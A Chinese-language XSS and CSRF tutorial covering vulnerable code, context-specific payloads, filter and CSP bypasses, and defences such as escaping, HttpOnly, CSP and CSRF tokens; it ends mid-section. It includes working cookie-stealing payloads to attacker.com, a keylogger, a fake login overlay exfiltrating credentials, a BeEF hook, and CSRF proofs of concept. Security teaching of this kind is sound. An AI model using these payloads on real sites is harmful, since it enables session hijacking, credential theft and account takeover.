XSS 与 CSRF 指南
声明:本文仅供安全学习使用。未经授权对任何系统实施攻击均属违法行为,后果自负。
目录
第一部分:XSS(跨站脚本攻击)
第二部分:CSRF(跨站请求伪造)
第一部分:XSS(跨站脚本攻击)
1. XSS 概述
1.1 什么是 XSS
XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入到受信任的网页中,当其他用户访问该页面时,恶意脚本在用户浏览器中执行。
为什么缩写是 XSS 而不是 CSS? 因为 CSS 已经被 Cascading Style Sheets(层叠样式表)占用,为避免混淆,跨站脚本攻击的缩写用了 XSS。
一句话理解: 攻击者把 JavaScript 代码"注入"进了网页,受害者的浏览器打开这个页面时,就会在受害者不知情的情况下执行这段代码。
1.2 为什么会产生 XSS
根本原因是:程序把用户输入直接拼接进了 HTML 页面,没有做任何转义处理。
举个例子,一个搜索功能:
// 后端代码
$keyword = $_GET['keyword'];
echo "<p>您搜索的关键词是:" . $keyword . "</p>";
正常情况下,用户输入 hello,页面输出:
<p>您搜索的关键词是:hello</p>
但如果用户输入 <script>alert(1)</script>,页面输出就变成:
<p>您搜索的关键词是:<script>alert(1)</script></p>
浏览器解析到 <script> 标签,直接执行其中的 JavaScript,弹出对话框。这就是最基础的 XSS。
1.3 XSS 的危害
- Cookie 劫持: 窃取用户的会话 Cookie,冒充用户身份登录
- 键盘记录: 监听用户输入,窃取账号密码
- 钓鱼攻击: 篡改页面内容,伪造登录框骗取凭证
- 恶意重定向: 把用户跳转到恶意网站
- 蠕虫传播: 存储型 XSS 可以让每个访问页面的用户自动再次发布恶意内容,形成蠕虫
- 结合 CSRF: 用 XSS 绕过 CSRF 防御,执行跨站请求(详见第 12 节)
1.4 XSS 的三种类型
| 类型 | 特征 | 持久性 | 触发方式 |
|---|---|---|---|
| 反射型(Reflected) | payload 在 URL 参数中,服务端反射回响应 | 非持久 | 诱使受害者点击恶意链接 |
| 存储型(Stored) | payload 存入数据库,所有访问者都受影响 | 持久 | 受害者正常访问页面即触发 |
| DOM 型(DOM-based) | payload 由客户端 JS 处理并写入 DOM,是否经过服务端取决于 Source 类型 | 非持久 | 诱使受害者点击恶意链接 |
1.5 浏览器同源策略(SOP)基础
理解 XSS 之前,需要了解同源策略(Same-Origin Policy)。同源策略规定:协议、域名、端口三者完全相同才算同源,非同源的页面之间不能互相读取 DOM、Cookie 等敏感资源。
XSS 之所以危险,正是因为它在目标网站自身的源下执行脚本,完全绕过了同源策略的限制——恶意代码是从合法域名发出的,浏览器当然信任它。
2. 反射型 XSS
2.1 原理
反射型 XSS 的 payload 存在于 URL 参数中,服务器把参数值"反射"回 HTML 响应,浏览器解析时执行脚本。
攻击流程:
- 攻击者构造含有恶意 payload 的 URL
- 通过邮件、社交媒体等方式诱使受害者点击
- 受害者浏览器请求该 URL,服务端返回含 payload 的页面
- 受害者浏览器执行恶意脚本
2.2 漏洞示例
漏洞代码(PHP):
<?php
$name = $_GET['name'];
echo "Hello, " . $name . "!";
?>
正常请求:
http://example.com/greet.php?name=Alice
响应:Hello, Alice!
恶意请求:
http://example.com/greet.php?name=<script>alert(document.cookie)</script>
响应:Hello, <script>alert(document.cookie)</script>!
2.3 寻找反射型 XSS
第一步:找所有回显点
所有能把用户输入反射到页面的地方都是候选点:
- URL 参数:
?keyword=xxx、?id=xxx、?page=xxx - 表单提交后的回显(搜索框、注册失败提示等)
- 404/错误页面中包含 URL 路径的回显
- HTTP Header 回显(User-Agent、Referer 被展示在页面上)
第二步:插入探针,观察回显
先插入一个无害的特殊字符组合,观察它出现在 HTML 的什么位置:
?name=xss_probe_<>"'
用浏览器"查看页面源代码",找到 xss_probe_ 的位置,判断上下文:
<!-- 情况1:直接在标签内容中 -->
<p>Hello, xss_probe_<>"'</p> <!-- 被转义了,可能有防御 -->
<p>Hello, xss_probe_<>"'</p> <!-- 未转义,可直接注入 -->
<!-- 情况2:在标签属性中 -->
<input value="xss_probe_<>\"'"> <!-- 在属性里,需要闭合属性 -->
<!-- 情况3:在 JavaScript 字符串中 -->
<script>var name = "xss_probe_<>\"'";</script> <!-- 在 JS 里,需要闭合字符串 -->
第三步:根据上下文选择 payload
不同上下文,注入方式不同(详见第 5 节)。
2.4 反射型 XSS 的局限
反射型 XSS 的恶意 payload 直接写在 URL 里,明眼人一看 URL 就会怀疑。
现代浏览器(Chrome、Firefox、Safari)均已移除或从未实现内置 XSS 过滤器——Chrome 在 v78(2019年10月)禁用了 XSSAuditor,并在 v92(2021年7月)正式将其移除;Firefox 和 Safari 则从未实现过此类过滤器。因此,不应将浏览器内置过滤器视为任何有效的防线。
实际攻击中通常配合 URL 短链接、QR 码、或 URL 编码来混淆 payload。
3. 存储型 XSS
3.1 原理
存储型 XSS(也叫持久型 XSS)的 payload 被写入服务器数据库,之后所有访问受影响页面的用户都会触发攻击,危害远大于反射型。
攻击流程:
- 攻击者在评论、留言、个人简介等输入点提交恶意脚本
- 服务器未过滤,直接存入数据库
- 其他用户访问包含该内容的页面
- 服务器从数据库读取数据并渲染到 HTML
- 所有访问者的浏览器都执行了恶意脚本
3.2 漏洞示例
漏洞代码(PHP):
// 存储:直接把评论存进数据库
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (content) VALUES ('$comment')";
mysqli_query($conn, $sql);
// 展示:直接把评论输出到页面
$result = mysqli_query($conn, "SELECT content FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
echo "<div class='comment'>" . $row['content'] . "</div>";
}
攻击者提交评论:
<script>
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
此后,每一个访问评论页面的用户,浏览器都会把自己的 Cookie 发送给攻击者的服务器。
3.3 常见存储型 XSS 注入点
- 评论/留言系统:最经典的场景
- 用户个人资料:昵称、个人简介、签名
- 私信/站内消息:消息内容在对方查看时触发
- 商品评价/订单备注:有时管理员后台展示时触发(打到管理员)
- 文件名:上传文件时,文件名被展示在页面上
- 富文本编辑器:允许 HTML 输入的场景,过滤不严时存在风险
3.4 存储型 XSS 的特殊危害:打到管理员后台
存储型 XSS 有一个特别有价值的攻击方向:在前台提交 payload,等管理员在后台查看时触发。
由于管理员通常拥有更高权限,一旦其 Cookie 被盗,攻击者可以:
- 直接以管理员身份登录后台
- 执行管理员操作(添加账号、修改配置、上传文件等)
- 进一步深入内网
4. DOM 型 XSS
4.1 原理
DOM 型 XSS 与前两种有本质区别:payload 由客户端 JavaScript 代码处理并直接写入 DOM,触发 XSS。是否经过服务器取决于具体的 Source——以 location.hash(URL 中 # 后的部分)为 Source 时,payload 确实不会发送给服务器;但以 location.search(URL 中 ? 后的部分)为 Source 时,payload 同样会出现在服务端日志中。
对于基于 hash 的 DOM XSS,服务端日志和 WAF 确实无法看到 payload,是其相对隐蔽的原因之一。
4.2 漏洞示例
漏洞代码(JavaScript):
<div id="output"></div>
<script>
// 从 URL hash 中读取数据,直接写入 DOM
var name = location.hash.substring(1); // 取 # 后面的内容
document.getElementById('output').innerHTML = name;
</script>
恶意 URL:
http://example.com/page.html#<img src=x onerror=alert(1)>
# 后面的内容不会发送给服务器(这是 URL fragment 的特性),服务端完全看不到这个 payload。浏览器本地 JS 读取后直接写入 innerHTML,触发 XSS。
4.3 常见的危险 Source 和 Sink
DOM 型 XSS 的分析关键是找到"数据来源(Source)"和"危险输出(Sink)"。
常见 Source(数据来源):
document.URL // 整个 URL
document.location // 同上
document.location.href // URL 字符串
document.location.search // URL 中 ? 后面的部分
document.location.hash // URL 中 # 后面的部分(不发送给服务器!)
document.referrer // 来源页面 URL
window.name // 窗口名称(跨页面传递数据时可被污染)
常见 Sink(危险输出点):
// 直接执行 HTML,最危险
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);
// 动态加载脚本
eval(userInput);
setTimeout(userInput, 1000);
setInterval(userInput, 1000);
new Function(userInput)();
// 改变 URL,如果 userInput 以 javascript: 开头会执行代码
location.href = userInput;
location.assign(userInput);
4.4 DOM 型 XSS 审计思路
- 找到页面中所有读取外部数据的 Source
- 追踪数据流向,找到这些数据最终写入了哪个 Sink
- 判断中间是否有过滤,过滤是否可以绕过
现代前端框架(React、Vue、Angular)默认对输出做转义,大幅减少了 DOM XSS。但如果开发者使用了 dangerouslySetInnerHTML(React)或 v-html(Vue),则重新引入了风险。
5. XSS 常用 Payload
5.1 基础验证 Payload
最简单的存活验证,弹一个对话框:
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert(document.domain)</script> <!-- 显示当前域名,确认执行上下文 -->
<script>alert(document.cookie)</script> <!-- 显示 Cookie -->
5.2 不同 HTML 上下文的 Payload
根据 payload 落在 HTML 的位置,选择不同的注入方式:
① 直接在标签内容中(最简单):
<!-- 原始 HTML -->
<p>用户输入:[注入点]</p>
<!-- Payload -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
② 在 HTML 标签属性的双引号中:
<!-- 原始 HTML -->
<input value="[注入点]">
<!-- Payload:先闭合属性,再闭合标签,插入新标签 -->
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>
<!-- 或直接在属性中插入事件(不用闭合标签)-->
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
③ 在 HTML 标签属性的单引号中:
<!-- 原始 HTML -->
<input value='[注入点]'>
<!-- Payload -->
'><script>alert(1)</script>
' onmouseover='alert(1)
④ 在 JavaScript 字符串中(双引号):
<!-- 原始 HTML -->
<script>var name = "[注入点]";</script>
<!-- Payload:闭合字符串,再插入新语句 -->
";alert(1)//
"-alert(1)-"
⑤ 在 JavaScript 字符串中(单引号):
<!-- 原始 HTML -->
<script>var name = '[注入点]';</script>
<!-- Payload -->
';alert(1)//
'-alert(1)-'
⑥ 在 href / src 属性中:
<!-- 原始 HTML -->
<a href="[注入点]">点击</a>
<!-- Payload:javascript: 伪协议 -->
javascript:alert(1)
javascript:void(alert(1))
5.3 不依赖 <script> 标签的 Payload
很多过滤器会直接过滤 <script> 标签,但 XSS 并不一定需要它:
<!-- 利用事件属性 -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- SVG(支持事件和脚本)-->
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<!-- details 标签 -->
<details open ontoggle=alert(1)>
<!-- marquee(老式,部分浏览器支持)-->
<marquee onstart=alert(1)>
5.4 Cookie 窃取 Payload
验证 XSS 存活后,真实利用通常是窃取 Cookie:
<!-- 方式1:img 标签带外 -->
<script>
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
</script>
<!-- 方式2:fetch 带外 -->
<script>
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
</script>
<!-- 方式3:XHR 带外 -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
xhr.send();
</script>
<!-- 方式4:document.location 跳转带外(会让受害者跳走,比较明显)-->
<script>
document.location = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
</script>
⚠️ 实战注意: 如果目标 Cookie 设置了
HttpOnly标志,JavaScript 无法读取document.cookie,上述方式会得到空值。此时需要换思路,例如直接用 XSS 发起请求(CSRF),而不是窃取 Cookie(详见第 12 节)。
6. XSS 过滤绕过
6.1 大小写绕过
HTML 标签和属性对大小写不敏感:
<SCRIPT>alert(1)</SCRIPT>
<Script>alert(1)</Script>
<sCrIpT>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
6.2 标签闭合与嵌套绕过
部分过滤器用正则简单替换 <script>,可以用嵌套欺骗:
<!-- 过滤器把 <script> 替换为空,嵌套后剩下完整标签 -->
<scr<script>ipt>alert(1)</scr</script>ipt>
6.3 属性间空白符绕过
标签属性之间可以用多种空白符(部分过滤器只处理普通空格):
<img/src=x/onerror=alert(1)> <!-- / 替代空格 -->
<img src=x onerror=alert(1)> <!-- Tab 替代空格 -->
<img
src=x
onerror=alert(1)> <!-- 换行替代空格 -->
6.4 HTML 实体编码绕过
在属性值和标签内容中,HTML 实体会被浏览器自动解码,可以用来绕过字符过滤:
<!-- 在属性中用 HTML 实体编码 -->
<img src=x onerror="alert(1)">
<!-- a = a, l = l ... 解码后是 alert(1) -->
<!-- 十六进制实体 -->
<img src=x onerror="alert(1)">
6.5 JavaScript 编码绕过
在 <script> 标签或事件属性中,可以用 JavaScript 字符串转义:
// 用 \u Unicode 转义
<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>
// \u0061 = 'a', \u006c = 'l' ... 拼起来是 alert
// 用 \x 十六进制转义
<script>\x61\x6c\x65\x72\x74(1)</script>
// 用八进制(仅在字符串中有效)
<script>eval('\141\154\145\162\164\50\61\51')</script>
6.6 URL 编码绕过(href/src 场景)
在 href 属性中使用 javascript: 协议时,浏览器会先 URL 解码再执行:
<a href="javascript:%61%6c%65%72%74%28%31%29">点击</a>
<!-- URL 解码后:javascript:alert(1) -->
6.7 拆分 payload 绕过长度限制
有些场景有字符长度限制,可以把 payload 拆分存储后再拼接执行:
<!-- 分多次写入 -->
<script>var a='ale'</script>
<script>var b='rt(1)'</script>
<script>eval(a+b)</script>
6.8 利用注释符绕过
<!-- HTML 注释不影响属性解析 -->
<img src=x o<!---->nerror=alert(1)>
<!-- 在 IE 中,条件注释可以执行代码(现代浏览器已不支持)-->
<!--[if IE]><script>alert(1)</script><![endif]-->
6.9 利用标签容错绕过
浏览器的 HTML 解析器非常宽容,即使 HTML 不完整也会尽力渲染:
<!-- 不闭合的标签 -->
<img src=x onerror=alert(1) <!-- 没有 > 也可能触发 -->
<script>alert(1) <!-- 没有 </script> 也可能执行 -->
<!-- 属性值不加引号 -->
<img src=x onerror=alert(1)>
6.10 CSP 绕过简介
CSP(Content Security Policy,内容安全策略)是对抗 XSS 的重要防线,通过 HTTP 响应头限制页面可以加载的脚本来源。
Content-Security-Policy: script-src 'self'
即便如此,配置不当的 CSP 仍可被绕过,常见场景:
① CSP 允许 unsafe-inline: 直接执行内联脚本,等于没有防护。
② CSP 白名单域名过宽: 如果白名单包含 https://cdn.example.com,而攻击者能在该 CDN 上传文件,就可以加载恶意脚本。
③ JSONP 接口绕过: 如果 CSP 白名单域名上有 JSONP 接口,可以利用 JSONP 的 callback 参数注入代码:
<script src="https://allowed.com/jsonp?callback=alert(1)//"></script>
④ script-src 'nonce-xxx': 如果 nonce 值可预测或者被泄露,可以伪造合法 nonce。
7. XSS 实战利用
7.1 搭建接收服务器
在实战中,需要一台公网服务器来接收窃取的数据。最简单的方式:
# 用 Python 起一个简单的 HTTP 服务,把所有请求记录到终端
python3 -m http.server 8888
# 也可以用 nc 监听
nc -lvnp 8888
更专业的做法是使用 XSS 平台(如 XSS Hunter),可以自动捕获 Cookie、页面截图、浏览器信息等。
7.2 完整的 Cookie 劫持利用链
① 搭好接收服务器,记录好公网 IP/域名
② 在存在 XSS 的页面注入 payload:
<script>
(function(){
var img = new Image();
img.src = 'http://your-server:8888/?cookie=' + encodeURIComponent(document.cookie)
+ '&url=' + encodeURIComponent(document.URL)
+ '&ua=' + encodeURIComponent(navigator.userAgent);
})();
</script>
③ 等待受害者触发,在接收服务器查看日志:
GET /?cookie=PHPSESSID%3Dabc123%3B%20admin%3D1&url=...&ua=... HTTP/1.1
④ 用窃取的 Cookie 冒充受害者:
在浏览器中打开目标网站,通过开发者工具(F12)→ Application → Cookies,手动修改 Cookie 值为窃取到的值,然后刷新页面,即可以受害者身份登录。
7.3 XSS 键盘记录器
在没有 HttpOnly 保护时,Cookie 劫持是首选;但也可以直接记录用户在页面上的输入:
<script>
(function(){
var log = '';
document.addEventListener('keydown', function(e){
log += e.key;
// 每积累 20 个字符就发送一次
if(log.length >= 20){
new Image().src = 'http://your-server:8888/?k=' + encodeURIComponent(log);
log = '';
}
});
})();
</script>
7.4 XSS 钓鱼(伪造登录框)
通过 XSS 动态插入一个假的登录对话框,骗取用户输入账号密码:
<script>
document.body.innerHTML += `
<div id="fake-login" style="position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(0,0,0,0.8);z-index:99999;display:flex;
align-items:center;justify-content:center;">
<div style="background:#fff;padding:30px;border-radius:8px;width:300px;">
<h3>登录已超时,请重新登录</h3>
<input id="fu" type="text" placeholder="用户名" style="width:100%;margin:8px 0;padding:8px;box-sizing:border-box;"><br>
<input id="fp" type="password" placeholder="密码" style="width:100%;margin:8px 0;padding:8px;box-sizing:border-box;"><br>
<button onclick="
new Image().src='http://your-server:8888/?u='+encodeURIComponent(document.getElementById(\'fu\').value)
+'&p='+encodeURIComponent(document.getElementById(\'fp\').value);
document.getElementById(\'fake-login\').remove();
" style="width:100%;padding:10px;background:#007bff;color:#fff;border:none;border-radius:4px;cursor:pointer;">
登录
</button>
</div>
</div>`;
</script>
7.5 BeEF 框架
BeEF(Browser Exploitation Framework)是专门用于 XSS 后利用的框架,通过在目标页面注入一个 hook 脚本,可以实现:
- 实时控制受害者浏览器
- 执行任意 JavaScript 命令
- 探测受害者内网(通过 JavaScript 发起请求,受同源策略及浏览器 Private Network Access 规范限制,实际探测能力有限,仅能做基本的端口存活判断)
- 浏览器指纹识别
- 社会工程学攻击(弹窗、跳转)
- 点击劫持
注入 hook:
<script src="http://your-beef-server:3000/hook.js"></script>
注入成功后,受害者浏览器会出现在 BeEF 的控制面板中,可以实时下发命令。
8. XSS 防御
8.1 输出转义(最核心)
根据数据输出的上下文,进行对应的转义:
HTML 内容转义(防止标签注入):
// PHP
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// 会转义 < > & " '
| 字符 | 转义结果 |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
JavaScript 上下文转义:
如果必须把数据输出到 JS 字符串中,要对特殊字符做 JS 转义:
// 错误:直接拼接
echo '<script>var name = "' . $name . '";</script>';
// 正确:JSON 编码(最安全,自动处理所有特殊字符)
echo '<script>var name = ' . json_encode($name) . ';</script>';
URL 上下文转义:
// URL 参数值用 urlencode
echo '<a href="/search?q=' . urlencode($keyword) . '">链接</a>';
8.2 设置 Cookie 安全标志
// HttpOnly:禁止 JavaScript 读取 Cookie
// Secure:仅通过 HTTPS 传输
// SameSite:限制跨站携带 Cookie(也用于防 CSRF)
setcookie('session', $token, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict',
]);
HttpOnly 是防止 XSS 窃取 Cookie 的关键——即使 XSS 注入成功,document.cookie 也读不到 HttpOnly Cookie。
8.3 Content Security Policy(CSP)
通过 HTTP 响应头部署 CSP,限制脚本来源:
# 只允许同源脚本,禁止内联脚本
Content-Security-Policy: script-src 'self'
# 使用 nonce,只允许带正确 nonce 的内联脚本
Content-Security-Policy: script-src 'nonce-随机值'
<!-- HTML 中对应写法 -->
<script nonce="随机值">alert(1)</script>
nonce 值每次请求必须随机生成,服务端和 HTML 中保持一致。
8.4 使用现代前端框架
React、Vue、Angular 默认对所有模板输出做 HTML 转义,大幅降低 XSS 风险。但需要避免绕过框架保护的危险写法:
// React:dangerouslySetInnerHTML 会绕过转义,仅在内容可信时使用
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // ❌ 危险
// Vue:v-html 同理
<div v-html="userInput"></div> // ❌ 危险
8.5 富文本的 XSS 防御
当确实需要允许用户输入 HTML(如富文本编辑器)时,不能简单转义,需要使用白名单过滤库:
- DOMPurify(前端 JS,推荐):只保留白名单标签和属性,清除所有事件属性和危险内容
- HTMLPurifier(PHP)
- Bleach(Python)
// DOMPurify 使用示例
const clean = DOMPurify.sanitize(dirtyHTML);
document.getElementById('output').innerHTML = clean;
第二部分:CSRF(跨站请求伪造)
9. CSRF 概述
9.1 什么是 CSRF
CSRF(Cross-Site Request Forgery,跨站请求伪造)是指攻击者诱使已登录的用户访问恶意页面,该页面在用户不知情的情况下,以用户的身份向目标网站发送请求,执行用户不想做的操作。
一句话理解: 攻击者"借用"了受害者的登录状态,让浏览器自动携带 Cookie 发出请求,目标网站以为是用户本人操作,实际上是被攻击者控制的。
9.2 CSRF 与 XSS 的区别
这是新手最容易混淆的两个概念:
| 对比维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 用户的浏览器(注入并执行脚本) | 目标网站(伪造用户请求) |
| 利用的信任 | 用户对目标网站的信任 | 目标网站对用户浏览器的信任 |
| 需要用户登录 | 不一定 | 必须(利用已有的登录状态) |
| 攻击者是否获取数据 | 通常会窃取数据 | 通常只执行操作,不获取响应 |
| 防御手段 | 输出转义、CSP | CSRF Token、SameSite Cookie |
9.3 CSRF 的成立条件
CSRF 成立需要同时满足三个条件:
- 用户已登录目标网站,浏览器中存有有效的会话 Cookie
- 目标网站的敏感操作只依赖 Cookie 验证身份,没有其他校验
- 用户访问了攻击者控制的恶意页面(或点击了恶意链接)
9.4 浏览器为什么会自动带上 Cookie
HTTP 协议是无状态的,网站通过 Cookie 来维持登录状态。浏览器的默认行为是:向某个域名发送请求时,自动附带该域名下所有有效的 Cookie,不管这个请求是用户主动发起的,还是被另一个页面"偷偷"触发的。
这就是 CSRF 能够成立的根本原因。
10. CSRF 攻击类型
10.1 GET 型 CSRF
场景: 目标网站用 GET 请求执行敏感操作(这本身就是不规范的做法,但实际中确实存在)。
漏洞示例:
# 目标网站:转账接口(非常糟糕的设计)
GET /transfer?to=alice&amount=1000 HTTP/1.1
Host: bank.example.com
Cookie: session=abc123
攻击页面(恶意网站):
<!-- 方法1:img 标签自动发起 GET 请求 -->
<img src="https://bank.example.com/transfer?to=attacker&amount=10000" style="display:none">
<!-- 方法2:隐藏的 iframe -->
<iframe src="https://bank.example.com/transfer?to=attacker&amount=10000" style="display:none"></iframe>
<!-- 方法3:页面加载时自动跳转 -->
<script>window.location='https://bank.example.com/transfer?to=attacker&amount=10000'</script>
受害者只要访问了攻击者的页面,浏览器就会向 bank.example.com 发起带有 Cookie 的 GET 请求,完成转账。
10.2 POST 型 CSRF
现代网站的修改操作通常使用 POST 请求,攻击者需要构造一个自动提交的表单:
攻击页面(自动提交表单):
<!DOCTYPE html>
<html>
<body>
<form id="csrf-form" action="https://target.example.com/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
<input type="hidden" name="confirm_password" value="hacked123">
</form>
<script>
// 页面加载后立即提交表单
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
受害者访问这个页面的瞬间,表单就自动提交了,密码被悄悄修改。
10.3 JSON 型 CSRF
现代 API 往往使用 JSON 格式的 POST 请求,并要求 Content-Type: application/json。
为什么 JSON 请求能防 CSRF?
HTML 表单只能发送 application/x-www-form-urlencoded、multipart/form-data、text/plain 三种 Content-Type。发送 application/json 需要使用 fetch/XMLHttpRequest,而跨域的 fetch/XHR 请求会触发浏览器的 CORS 预检(OPTIONS 请求),如果服务端没有配置 Access-Control-Allow-Origin,跨域请求会被浏览器拦截。
但是,Content-Type 检查并不是万能的防御:
- 如果服务端忽略 Content-Type,直接解析请求体,则用表单
text/plain也能尝试发送近似 JSON 格式的数据:
<form method="POST" action="https://api.example.com/update" enctype="text/plain">
<!-- name 设为 JSON 的前缀,value 设为后缀,拼起来是合法 JSON -->
<input type="hidden" name='{"username":"attacker","ignore":"' value='"}'>
</form>
<!-- 提交后 body 是:{"username":"attacker","ignore":"="} -->
<!-- 如果后端用宽松的 JSON 解析器,可能接受这个请求 -->
⚠️ 注意此手法的局限性:
text/plain表单编码会在name和value之间强制插入一个=号,导致实际 body 中出现"="这个键值对,严格的 JSON 解析器会直接报错拒绝。此绕过能否成功完全取决于后端解析器的容错程度,适用场景极窄,不是通用手法。
- 如果 CORS 配置错误(如
Access-Control-Allow-Origin: *),跨域 fetch 请求可以正常发出并获得响应。
10.4 CSRF 漏洞的手工测试流程
- 登录目标网站,找到敏感操作(改密码、改邮箱、转账、删除数据等)
- 用 Burp Suite 抓包,分析请求的参数和特征
- 检查是否有 CSRF Token:
- 请求体或请求头中是否有
token、csrf、_token、X-CSRF-Token等字段 - 如果有,是否每次都变化
- 请求体或请求头中是否有
- 构造 CSRF PoC 页面(用 Burp Suite 的 "Generate CSRF PoC" 功能可以自动生成)
- 在另一个浏览器标签页中打开 PoC 页面,验证是否成功执行操作
11. CSRF Token 绕过
11.1 Token 缺失或未校验
最低级的问题:有 Token 字段但服务端根本没有验证。
测试方法: 抓包,直接删除请求中的 Token 参数,重放请求,看是否仍然成功。
# 原始请求
POST /change-email HTTP/1.1
[email protected]&csrf_token=abc123
# 删除 Token 后
POST /change-email HTTP/1.1
[email protected]
如果请求仍然成功 → Token 未验证,存在 CSRF 漏洞。
11.2 Token 可预测或固定
测试方法: 多次执行操作,比较每次 Token 的值是否变化,是否有规律。
- Token 固定不变 → 攻击者登录自己账号获取 Token,直接用于 CSRF
- Token 基于时间戳 → 可预测
- Token 是 MD5(用户ID) 等弱算法 → 可推算
11.3 Token 和 Session 未绑定
正确的实现应该是:每个 Token 只对当前用户的当前 Session 有效。
测试方法: 用账号 A 登录,获取账号 A 的 Token,然后用这个 Token 构造 CSRF,攻击账号 B。
# 账号 A 的 Token(攻击者自己获取的)
csrf_token = token_of_account_A
# 用账号 B 的 Cookie + 账号 A 的 Token 发请求
POST /change-email HTTP/1.1
Cookie: session=session_of_account_B
[email protected]&csrf_token=token_of_account_A
如果请求成功 → Token 没有绑定到 Session,存在漏洞。
11.4 Referer 校验绕过
部分网站用 Referer 请求头来判断请求来源,校验逻辑不严格时可以绕过。
绕过方式1:Referer 为空
某些浏览器配置或隐私插件会不发送 Referer,服务端可能对空 Referer 直接放行:
<!-- 在恶意页面中加入 meta 标签,使浏览器不发送 Referer -->
<meta name="referrer" content="no-referrer">
<form action="https://target.com/action" method="POST">...</form>
绕过方式2:Referer 包含目标域名即通过
如果校验逻辑是 strpos($referer, 'target.com') !== false(只要包含就算合法):
# 攻击者把自己的域名设置为包含目标域名的子路径
https://attacker.com/target.com/csrf.html
绕过方式3:Referer 是目标域名开头即通过
如果校验逻辑是 strpos($referer, 'target.com') === 0(以目标域名开头):
# 注册一个以目标域名开头的域名(实际中比较难,仅作思路)
https://target.com.attacker.com/csrf.html
11.5 利用 XSS 绕过 CSRF Token
这是最有效的绕过方式:既然 Token 在页面中,用 XSS 把 Token 读出来,再附带 Token 发请求。
见第 12 节。
12. CSRF 结合 XSS
12.1 为什么 XSS 能绕过 CSRF 防御
CSRF Token 的防御逻辑是:攻击者从跨域页面无法读取目标域的 Token(受同源策略保护)。
但是,如果目标域存在 XSS,攻击者就可以在目标域的上下文中执行 JavaScript,完全突破同源策略,可以:
- 直接读取页面 DOM 中的 CSRF Token
- 用 Ajax 请求获取包含 Token 的页面,解析出 Token
- 携带正确 Token 发送请求
12.2 攻击流程
完整利用链:
存在 XSS 的页面 → 注入脚本 → 读取 CSRF Token → 携带 Token 发请求 → 操作成功
利用代码示例(修改邮箱):
<script>
// 第一步:获取包含 Token 的页面
fetch('/settings/email', {
credentials: 'include' // 携带 Cookie
})
.then(response => response.text())
.then(html => {
// 第二步:从 HTML 中解析出 CSRF Token
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var token = doc.querySelector('input[name="csrf_token"]').value;
// 第三步:携带 Token 发送修改请求
var formData = new FormData();
formData.append('email', '[email protected]');
formData.append('csrf_token', token);
return fetch('/settings/email', {
method: 'POST',
body: formData,
credentials: 'include'
});
})
.then(() => {
// 悄悄把结果发给攻击者
new Image().src = 'https://attacker.com/done';
});
</script>
12.3 关键细节
关于 credentials 的说明: 由于这段代码通过 XSS 注入,运行在目标域的上下文中,fetch 发出的是同域请求。同域请求的 credentials 默认值为 'same-origin',会自动携带 Cookie,因此严格来说 credentials: 'include' 在此场景是多余的。
但在实际编写利用代码时,显式写上 credentials: 'include' 是一个好习惯——当目标 API 恰好在另一个子域(如 api.example.com),而 XSS 发生在 www.example.com 时,请求变为跨域,此时若没有 credentials: 'include',Cookie 就不会被携带,利用会静默失败。显式声明可以避免这类疏漏。
为什么普通 CSRF 无法读响应,但 XSS 可以? 普通 CSRF 是跨域发请求,受同源策略限制,即使请求发出去了,JavaScript 也无法读取响应内容。而 XSS 注入的代码在目标域下执行,是"同域"请求,可以完整读取响应。
13. CSRF 防御
13.1 CSRF Token(最主流)
每次渲染包含敏感操作的表单时,生成一个随机的、与当前 Session 绑定的 Token,提交时验证。
正确实现要点:
- Token 必须随机且足够长(至少 128 位,用密码学安全的随机数生成器)
- Token 必须与当前用户的 Session 绑定,不能跨用户复用
- Token 必须有时效,并与 Session 生命周期绑定;主流框架(Laravel、Django、Spring Security 等)的标准做法是整个 Session 期间复用同一个 Token,而非每次提交后立即失效——后者虽然理论上更安全,但会导致用户按返回键重试表单时直接失败,用户体验极差,实践中几乎不采用
- 通过隐藏表单字段或自定义请求头传递,不要放在 Cookie 中(放在 Cookie 里和依赖 Cookie 没有区别)
// 生成 Token(服务端)
session_start();
if (empty($_SESSION['csrf_token'])) {
// random_bytes(32) 生成 32 字节 = 256 位的随机数,超过 128 位的最低要求
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// 在表单中输出 Token
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
// 验证 Token(服务端)
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die('CSRF token 验证失败');
}
为什么用
hash_equals而不是===?===是时间敏感的比较,攻击者可以通过计时侧信道攻击逐字节猜测 Token。hash_equals是恒定时间比较,防止此类攻击。
13.2 SameSite Cookie 属性
SameSite 是现代浏览器对 Cookie 的约束属性,从浏览器层面防止 CSRF,是目前最推荐的防御方式之一:
